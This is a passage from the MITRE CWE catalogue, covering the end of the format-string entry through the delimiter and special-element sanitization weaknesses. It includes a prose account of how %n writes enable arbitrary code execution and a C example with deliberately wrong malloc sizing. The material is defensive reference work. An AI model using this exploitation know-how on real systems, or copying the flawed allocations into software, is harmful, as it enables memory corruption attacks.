This code produces the following output: 5 9 5 5 It is also possible to use half-writes (%hn) to accurately control arbitrary DWORDS in memory, which greatly reduces the complexity needed to execute an attack that would otherwise require four staggered writes, such as the one mentioned in the first example.

Observed Examples

Reference	Description
CVE-2001-0717	format string in bad call to syslog function
CVE-2002-0573	format string in bad call to syslog function
CVE-2002-1788	format strings in NNTP server responses
CVE-2002-1825	format string in Perl program
CVE-2007-2027	Chain: untrusted search path enabling resultant format string by loading malicious internationalization messages

Potential Mitigations

Requirements

Choose a language that is not subject to this flaw.

Implementation

Ensure that all format string functions are passed a static string which cannot be controlled by the user and that the proper number of arguments are always sent to that function as well. If at all possible, use functions that do not support the %n operator in format strings.

Build: Heed the warnings of compilers and linkers, since they may alert you to improper usage.

Other Notes

While Format String vulnerabilities typically fall under the Buffer Overflow category, technically they are not overflowed buffers. The Format String vulnerability is fairly new (circa 1999) and stems from the fact that there is no realistic way for a function that takes a variable number of arguments to determine just how many arguments were passed in. The most common functions that take a variable number of arguments, including C-runtime functions, are the printf() family of calls. The Format String problem appears in a number of ways. A *printf() call without a format specifier is dangerous and can be exploited. For example, printf(input); is exploitable, while printf(y, input); is not exploitable in that context. The result of the first call, used incorrectly, allows for an attacker to be able to peek at stack memory since the input string will be used as the format specifier. The attacker can stuff the input string with format specifiers and begin reading stack values, since the remaining parameters will be pulled from the stack. Worst case, this improper use may give away enough control to allow an arbitrary value (or values in the case of an exploit program) to be written into the memory of the running program

Frequently targeted entities are file names, process names, identifiers

Format string problems are a classic C/C++ issue that are now rare due to the ease of discovery. One main reason format string vulnerabilities can be exploited is due to the %n operator. The %n operator will write the number of characters, which have been printed by the format string therefore far, to the memory pointed to by its argument. Through skilled creation of a format string, a malicious user may use values on the stack to create a write-what-where condition. Once this is achieved, he can execute arbitrary code. Other operators can be used as well; for example, a %9999s operator could also trigger a buffer overflow, or when used in file-formatting functions like fprintf, it can generate a much larger output than intended.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness Class	20	Improper Input Validation	**700**	14
ChildOf	Weakness Class	74	Failure to Sanitize Data into a Different Plane ('Injection')	**699** **1000**	70
PeerOf	Weakness Base	123	Write-what-where Condition	1000	154
ChildOf	Category	133	String Errors	699	164
ChildOf	Category	633	Weaknesses that Affect Memory	**631**	615
ChildOf	Category	726	OWASP Top Ten 2004 Category A5 - Buffer Overflows	**711**	718
ChildOf	Category	743	CERT C Secure Coding Section 09 - Input Output (FIO)	**734**	728
MemberOf	View	*630*	*Weaknesses Examined by SAMATE*	***630***	*614*
MemberOf	View	*635*	*Weaknesses Used by NVD*	***635***	*616*

Research Gaps

Format string issues are under-studied for languages other than C. Memory or disk consumption, control flow or variable alteration, and data corruption may result from format string exploitation in applications written in other languages such as Perl, PHP, Python, etc.

Affected Resources

- Memory

Functional Areas

- logging
- errors
- general output

Causal Nature

Implicit

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Format string vulnerability
7 Pernicious Kingdoms			Format String
CLASP			Format string problem
CERT C Secure Coding	FIO30-C	Exact	Exclude user input from format strings
OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input
CERT C Secure Coding	FIO30-C		Exclude user input from format strings

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
67	String Format Overflow in syslog()	

White Box Definitions

A weakness where the code path has:

1. start statement that accepts input
2. end statement that passes a format to format output function where
   a. the input data is part of the format and
   b. the format is undesirable

Where "undesirable" is defined through the following scenarios:

1. not validated
2. incorrectly validated

References

Steve Christey. "Format String Vulnerabilities in Perl Programs". < http://www.securityfocus.com/archive/1/418460/30/0/threaded >.

Hal Burch and Robert C. Seacord. "Programming Language Format String Vulnerabilities". < http://www.ddj.com/dept/security/197002914 >.

Tim Newsham. "Format String Attacks". Guardent. September 2000. < http://www.lava.net/~newsham/format-string-attacks.pdf >.

CWE-135: Incorrect Calculation of Multi-Byte String Length

Weakness ID: 135 *(Weakness Base)* **Status:** Draft

Description

Summary

The software does not properly calculate the length of strings that can contain wide or multi-byte characters.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C
- C++

Demonstrative Examples

The following example would be exploitable if any of the commented incorrect malloc calls were used.

C Example:

```
#include <stdio.h>
#include <strings.h>
#include <wchar.h>
int main() {
  wchar_t wideString[] = L"The spazzy orange tiger jumped " \
  "over the tawny jaguar.";
  wchar_t *newString;
  printf("Strlen() output: %d\nWcslen() output: %d\n",
  strlen(wideString), wcslen(wideString));
  /* Very wrong for obvious reasons //
  newString = (wchar_t *) malloc(strlen(wideString));
  */
  /* Wrong because wide characters aren't 1 byte long! //
  newString = (wchar_t *) malloc(wcslen(wideString));
  */
  /* correct! */
  newString = (wchar_t *) malloc(wcslen(wideString) * sizeof(wchar_t));
  /* ... */
}
```

The output from the printf() statement would be: Strlen() output: 0 Wcslen() output: 53

Potential Mitigations

Always verify the length of the string unit character.

Use length computing functions (e.g. strlen, wcslen, etc.) appropriately with their equivalent type (e.g.: byte, wchar_t, etc.)

Other Notes

There are several ways in which improper string length checking may result in an exploitable condition. All of these, however, involve the introduction of buffer overflow conditions in order to reach an exploitable state. The first of these issues takes place when the output of a wide or multi-byte character string, string-length function is used as a size for the allocation of memory. While this will result in an output of the number of characters in the string, note that the characters are most likely not a single byte, as they are with standard character strings. So, using the size returned as the size sent to new or malloc and copying the string to this newly allocated memory will result in a buffer overflow. Another common way these strings are misused involves the mixing of standard string and wide or multi-byte string functions on a single string. Invariably, this mismatched information will result in the creation of a possibly exploitable buffer overflow condition. Again, if a language subject to these flaws must be used, the most effective mitigation technique is to pay careful attention to the code at implementation time and ensure that these flaws do not occur.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	133	String Errors	**699**	164
ChildOf	Wc	682	Incorrect Calculation	**1000**	673
ChildOf	C	741	CERT C Secure Coding Section 07 - Characters and Strings (STR)	**734**	727

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Improper string length checking
CERT C Secure Coding	STR33-C	Size wide character strings correctly

CWE-136: Type Errors

Category ID: 136 *(Category)* **Status:** Draft

Description

Summary

Weaknesses in this category are caused by improper data type transformation or improper handling of multiple data types.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	19	Data Handling	**699**	14
ParentOf	We	*681*	*Incorrect Conversion between Numeric Types*	***699***	*673*

CWE-137: Representation Errors

Category ID: 137 *(Category)* **Status:** Draft

Description

Summary

Weaknesses in this category are introduced when inserting or converting data from one representation into another.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	19	Data Handling	**699**	14
ParentOf	Wc	*138*	*Improper Sanitization of Special Elements*	***699***	*169*
ParentOf	C	*171*	*Cleansing, Canonicalization, and Comparison Errors*	***699***	*199*
ParentOf	We	*188*	*Reliance on Data/Memory Layout*	***699***	*216*
ParentOf	Wc	*228*	*Improper Handling of Syntactically Invalid Structure*	*699*	*255*

CWE-138: Improper Sanitization of Special Elements

Weakness ID: 138 *(Weakness Class)* **Status:** Draft

Description

Summary

The software receives input from an upstream component, but it does not sanitize or incorrectly sanitizes special elements that could be interpreted as control elements when they are sent to a downstream component.

Extended Description

Most languages and protocols have their own special elements such as characters and reserved words. These special elements can carry control implications. If software fails to prevent external control or influence over the inclusion of such special elements, the control flow of the program may be altered from what was intended. For example, both Unix and Windows interpret the symbol < ("less than") as meaning "read input from a file".

Time of Introduction

- Implementation

Potential Mitigations

Developers should anticipate that special elements (e.g. delimiters, symbols) will be injected into input vectors of their software system. One defense is to create a white list (e.g. a regular expression) that defines valid input according to the requirements specifications. Strictly filter any input that does not match against the white list. Properly encode your output, and quote any elements that have special meaning to the component with which you are communicating.

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy.

Use and specify a strong output encoding (such as ISO 8859-1 or UTF 8).

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Other Notes

See this node's children for different types of special elements that have been observed at one point or another. However, it can be difficult to find suitable CVE examples. In an attempt to be complete, CWE includes some types that do not have any associated observed example.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		137	Representation Errors	**699**	169
ChildOf		707	Improper Enforcement of Message or Data Structure	**1000**	709
ParentOf		*140*	*Failure to Sanitize Delimiters*	***699 1000***	*171*
ParentOf		*147*	*Improper Sanitization of Input Terminators*	***699 1000***	*176*
ParentOf		*148*	*Failure to Sanitize Input Leaders*	***699 1000***	*177*
ParentOf		*149*	*Failure to Sanitize Quoting Syntax*	***699 1000***	*178*
ParentOf		*150*	*Failure to Sanitize Escape, Meta, or Control Sequences*	***699 1000***	*178*
ParentOf		*151*	*Improper Sanitization of Comment Delimiters*	***699 1000***	*179*
ParentOf		*152*	*Improper Sanitization of Macro Symbols*	***699 1000***	*180*
ParentOf		*153*	*Improper Sanitization of Substitution Characters*	***699 1000***	*181*
ParentOf		*154*	*Improper Sanitization of Variable Name Delimiters*	***699 1000***	*182*
ParentOf		*155*	*Improper Sanitization of Wildcards or Matching Symbols*	***699 1000***	*183*
ParentOf		*156*	*Improper Sanitization of Whitespace*	***699 1000***	*184*
ParentOf		*157*	*Failure to Sanitize Paired Delimiters*	***699 1000***	*185*
ParentOf		*158*	*Failure to Sanitize Null Byte or NUL Character*	***699 1000***	*186*
ParentOf		*159*	*Failure to Sanitize Special Element*	***699 1000***	*187*
ParentOf		*169*	*Technology-Specific Special Elements*	***699***	*195*
ParentOf		*464*	*Addition of Data Structure Sentinel*	***1000***	*485*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Special Elements (Characters or Reserved Words)

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
15	Command Delimiters	

CWE-139: DEPRECATED: General Special Element Problems

Category ID: 139 *(Deprecated Category)* **Status:** Deprecated

Description

Summary

This entry has been deprecated. It is a leftover from PLOVER, but CWE-138 (Failure to Sanitize Special Elements) is a more appropriate mapping.

Relationships

Nature	Type	ID	Name	V	Page
MemberOf	V	*604*	*Deprecated Entries*	***604***	*593*

CWE-140: Failure to Sanitize Delimiters

Weakness ID: 140 *(Weakness Base)* **Status:** Draft

Description

Summary

The software does not properly sanitize delimiters.

Time of Introduction

- Implementation

Potential Mitigations

Developers should anticipate that delimiters will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and white lists to ensure only valid, expected and appropriate input is processed by the system.

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy.

Use and specify a strong output encoding (such as ISO 8859-1 or UTF 8).

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	138	Improper Sanitization of Special Elements	**699 1000**	169
ParentOf	Ww	*141*	*Failure to Sanitize Parameter/Argument Delimiters*	***699 1000***	*171*
ParentOf	Ww	*142*	*Failure to Sanitize Value Delimiters*	***699 1000***	*172*
ParentOf	Ww	*143*	*Failure to Sanitize Record Delimiters*	***699 1000***	*173*
ParentOf	Ww	*144*	*Failure to Sanitize Line Delimiters*	***699 1000***	*174*
ParentOf	Ww	*145*	*Failure to Sanitize Section Delimiters*	***699 1000***	*174*
ParentOf	Ww	*146*	*Failure to Sanitize Expression/Command Delimiters*	***699 1000***	*175*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Delimiter Problems

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
15	Command Delimiters	

CWE-141: Failure to Sanitize Parameter/Argument Delimiters

Weakness ID: 141 *(Weakness Variant)* **Status:** Draft

Description

Summary

Parameter delimiters injected into an application can be used to compromise a system. As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.

Time of Introduction
- Implementation

Applicable Platforms
Languages
- All

Observed Examples
Reference	Description
CVE-2003-0307	Attacker inserts field separator into input to specify admin privileges.

Potential Mitigations
Developers should anticipate that parameter/argument delimiters will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and white lists to ensure only valid, expected and appropriate input is processed by the system.

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy.

Use and specify a strong output encoding (such as ISO 8859-1 or UTF 8).

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Relationships
Nature	Type	ID	Name	V	Page
ChildOf	We	140	Failure to Sanitize Delimiters	**699** **1000**	171

Taxonomy Mappings
Mapped Taxonomy Name	Mapped Node Name
PLOVER	Parameter Delimiter

CWE-142: Failure to Sanitize Value Delimiters

Weakness ID: 142 *(Weakness Variant)* **Status:** Draft

Description
Summary
Value delimiters injected into an application can be used to compromise a system. As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.

Time of Introduction
- Implementation

Applicable Platforms
Languages
- All

Observed Examples
Reference	Description
CVE-2000-0293	Multiple internal space, insufficient quoting - program does not use proper delimiter between values.

Potential Mitigations
Developers should anticipate that value delimiters will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and white lists to ensure only valid, expected and appropriate input is processed by the system.

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy.

Use and specify a strong output encoding (such as ISO 8859-1 or UTF 8).

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	W	140	Failure to Sanitize Delimiters	**699** **1000**	171

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Value Delimiter

CWE-143: Failure to Sanitize Record Delimiters

Weakness ID: 143 *(Weakness Variant)* **Status:** Draft

Description

Summary

Record delimiters injected into an application can be used to compromise a system. As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2001-0527	Attacker inserts carriage returns and "|" field separator characters to add new user/ privileges.
CVE-2004-1982	Carriage returns in subject field allow adding new records to data file.

Potential Mitigations

Developers should anticipate that record delimiters will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and white lists to ensure only valid, expected and appropriate input is processed by the system.

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy.

Use and specify a strong output encoding (such as ISO 8859-1 or UTF 8).

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	W	140	Failure to Sanitize Delimiters	**699**	171

Nature	Type	ID	Name	V	Page
				1000	

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Record Delimiter

CWE-144: Failure to Sanitize Line Delimiters

Weakness ID: 144 *(Weakness Variant)* **Status:** Draft

Description

Summary

Line delimiters injected into an application can be used to compromise a system. As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2002-0267	Linebreak in field of PHP script allows admin privileges when written to data file.

Potential Mitigations

Developers should anticipate that line delimiters will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and white lists to ensure only valid, expected and appropriate input is processed by the system.

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy.

Use and specify a strong output encoding (such as ISO 8859-1 or UTF 8).

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Relationships

Nature	Type	ID	Name	V	Page
CanAlsoBe	We	93	Failure to Sanitize CRLF Sequences ('CRLF Injection')	1000	109
ChildOf	We	140	Failure to Sanitize Delimiters	**699** **1000**	171

Relationship Notes

Depending on the language and syntax being used, this could be the same as the record delimiter (CWE-143).

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Line Delimiter

CWE-145: Failure to Sanitize Section Delimiters

Weakness ID: 145 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

Section delimiters injected into an application can be used to compromise a system.

Extended Description

As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions that result in an attack. One example of a section delimiter is the boundary string in a multipart MIME message. In many cases, doubled line delimiters can serve as a section delimiter.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Potential Mitigations

Developers should anticipate that section delimiters will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and white lists to ensure only valid, expected and appropriate input is processed by the system.

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy.

Use and specify a strong output encoding (such as ISO 8859-1 or UTF 8).

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Relationships

Nature	Type	ID	Name	V	Page
CanAlsoBe	We	93	Failure to Sanitize CRLF Sequences ('CRLF Injection')	1000	109
ChildOf	We	140	Failure to Sanitize Delimiters	**699 1000**	171

Relationship Notes

Depending on the language and syntax being used, this could be the same as the record delimiter (CWE-143).

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Section Delimiter

CWE-146: Failure to Sanitize Expression/Command Delimiters

Weakness ID: 146 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

Delimiters between expressions or commands injected into the software through input can be used to compromise a system.

Extended Description

As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions that result in an attack.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Potential Mitigations

Developers should anticipate that inter-expression and inter-command delimiters will be injected/removed/manipulated in the input vectors of their software system.

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy.

Use and specify a strong output encoding (such as ISO 8859-1 or UTF 8).

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Other Notes

Shell metacharacters (covered elsewhere) is one example.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WB	140	Failure to Sanitize Delimiters	**699** **1000**	171

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Delimiter between Expressions or Commands

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
6	Argument Injection	
15	Command Delimiters	

CWE-147: Improper Sanitization of Input Terminators

Weakness ID: 147 *(Weakness Variant)* **Status:** Draft

Description

Summary

The software receives input from an upstream component, but it does not sanitize or incorrectly sanitizes special elements that could be interpreted as input terminators when they are sent to a downstream component.

Extended Description

For example, a "." in SMTP signifies the end of mail message data, whereas a null character can be used for the end of a string.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2000-0319	MFV. mail server does not properly identify terminator string to signify end of message, causing corruption, possibly in conjunction with off-by-one error.
CVE-2000-0320	MFV. mail server does not properly identify terminator string to signify end of message, causing corruption, possibly in conjunction with off-by-one error.
CVE-2001-0996	Mail server does not quote end-of-input terminator if it appears in the middle of a message.
CVE-2002-0001	Improperly terminated comment or phrase allows commands.

Potential Mitigations

Developers should anticipate that terminators will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and white lists to ensure only valid, expected and appropriate input is processed by the system.

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy.

Use and specify a strong output encoding (such as ISO 8859-1 or UTF 8).

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	W	138	Improper Sanitization of Special Elements	**699 1000**	169
CanAlsoBe	W	*170*	*Improper Null Termination*	*1000*	*196*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Input Terminator

CWE-148: Failure to Sanitize Input Leaders

Weakness ID: 148 *(Weakness Variant)* **Status:** Draft

Description

Summary

The application does not properly handle when a leading character or sequence ("leader") is missing or malformed, or if multiple leaders are used when only one should be allowed.

Time of Introduction

- Implementation

Potential Mitigations

Developers should anticipate that leading characters will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and white lists to ensure only valid, expected and appropriate input is processed by the system.

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy.

Use and specify a strong output encoding (such as ISO 8859-1 or UTF 8).

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	W	138	Improper Sanitization of Special Elements	**699 1000**	169

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Input Leader

CWE-149: Failure to Sanitize Quoting Syntax

Weakness ID: 149 *(Weakness Variant)* **Status:** Draft

Description

Summary

Quotes injected into an application can be used to compromise a system. As data are parsed, an injected/absent/duplicate/malformed use of quotes may cause the process to take unexpected actions.

Time of Introduction

- Implementation

Observed Examples

Reference	Description
CVE-2003-1016	MIE. MFV too? bypass AV/security with fields that should not be quoted, duplicate quotes, missing leading/trailing quotes.
CVE-2004-0956	

Potential Mitigations

Developers should anticipate that quotes will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and white lists to ensure only valid, expected and appropriate input is processed by the system.

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy.

Use and specify a strong output encoding (such as ISO 8859-1 or UTF 8).

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	138	Improper Sanitization of Special Elements	**699** **1000**	169

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Quoting Element

CWE-150: Failure to Sanitize Escape, Meta, or Control Sequences

Weakness ID: 150 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

Escape, meta, or control character/sequence injected into an application through input can be used to compromise a system.

Extended Description

As data is parsed, injected/absent/malformed escape, meta, or control characters/sequences may cause the process to take unexpected actions that result in an attack.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2000-0476	Terminal escape sequences not filtered by terminals when displaying files.
CVE-2000-0703	Setuid program does not filter escape sequences before calling mail program.
CVE-2001-1556	MFV. (multi-channel). Injection of control characters into log files that allow information hiding when using raw Unix programs to read the files.
CVE-2002-0542	Mail program handles special "~" escape sequence even when not in interactive mode.
CVE-2002-0986	Mail function does not filter control characters from arguments, allowing mail message content to be modified.
CVE-2003-0020	Multi-channel issue. Terminal escape sequences not filtered from log files.
CVE-2003-0021	Terminal escape sequences not filtered by terminals when displaying files.
CVE-2003-0022	Terminal escape sequences not filtered by terminals when displaying files.
CVE-2003-0023	Terminal escape sequences not filtered by terminals when displaying files.
CVE-2003-0063	Terminal escape sequences not filtered by terminals when displaying files.
CVE-2003-0083	Multi-channel issue. Terminal escape sequences not filtered from log files.

Potential Mitigations

Developers should anticipate that escape, meta and control characters/sequences will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and white lists to ensure only valid, expected and appropriate input is processed by the system.

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy.

Use and specify a strong output encoding (such as ISO 8859-1 or UTF 8).

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness	138	Improper Sanitization of Special Elements	**699 1000**	169

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Escape, Meta, or Control Character / Sequence

Related Attack Patterns

CAPEC-ID	Attack Pattern Name *(CAPEC Version 1.2)*
41	Using Meta-characters in E-mail Headers to Inject Malicious Payloads
81	Web Logs Tampering
93	Log Injection-Tampering-Forging

CWE-151: Improper Sanitization of Comment Delimiters

Weakness ID: 151 *(Weakness Variant)* **Status:** Draft

Description

Summary

The software receives input from an upstream component, but it does not sanitize or incorrectly sanitizes special elements that could be interpreted as comment delimiters when they are sent to a downstream component.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2002-0001	Mail client command execution due to improperly terminated comment in address list.
CVE-2004-0162	MIE. RFC822 comment fields may be processed as other fields by clients.
CVE-2004-1686	Well-placed comment bypasses security warning.
CVE-2005-1909	Information hiding using a manipulation involving injection of comment code into product. Note: these vulns are likely vulnerable to more general XSS problems, although a regexp might allow ">!--" while denying most other tags.
CVE-2005-1969	Information hiding using a manipulation involving injection of comment code into product. Note: these vulns are likely vulnerable to more general XSS problems, although a regexp might allow "<!--" while denying most other tags.

Potential Mitigations

Developers should anticipate that comments will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and white lists to ensure only valid, expected and appropriate input is processed by the system.

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy.

Use and specify a strong output encoding (such as ISO 8859-1 or UTF 8).

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	W	138	Improper Sanitization of Special Elements	**699** **1000**	169

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Comment Element

CWE-152: Improper Sanitization of Macro Symbols

Weakness ID: 152 *(Weakness Variant)* **Status:** Draft

Description

Summary

The software receives input from an upstream component, but it does not sanitize or incorrectly sanitizes special elements that could be interpreted as macro symbols when they are sent to a downstream component.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2002-0770	Server trusts client to expand macros, allows macro characters to be expanded to trigger resultant infoleak.
CVE-2008-2018	Attacker can obtain sensitive information from a database by using a comment containing a macro, which inserts the data during expansion.

Potential Mitigations

Developers should anticipate that macro symbols will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and white lists to ensure only valid, expected and appropriate input is processed by the system.

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy.

Use and specify a strong output encoding (such as ISO 8859-1 or UTF 8).

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	138	Improper Sanitization of Special Elements	**699** **1000**	169

Research Gaps

Under-studied.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Macro Symbol

CWE-153: Improper Sanitization of Substitution Characters

Weakness ID: 153 *(Weakness Variant)* **Status:** Draft

Description

Summary

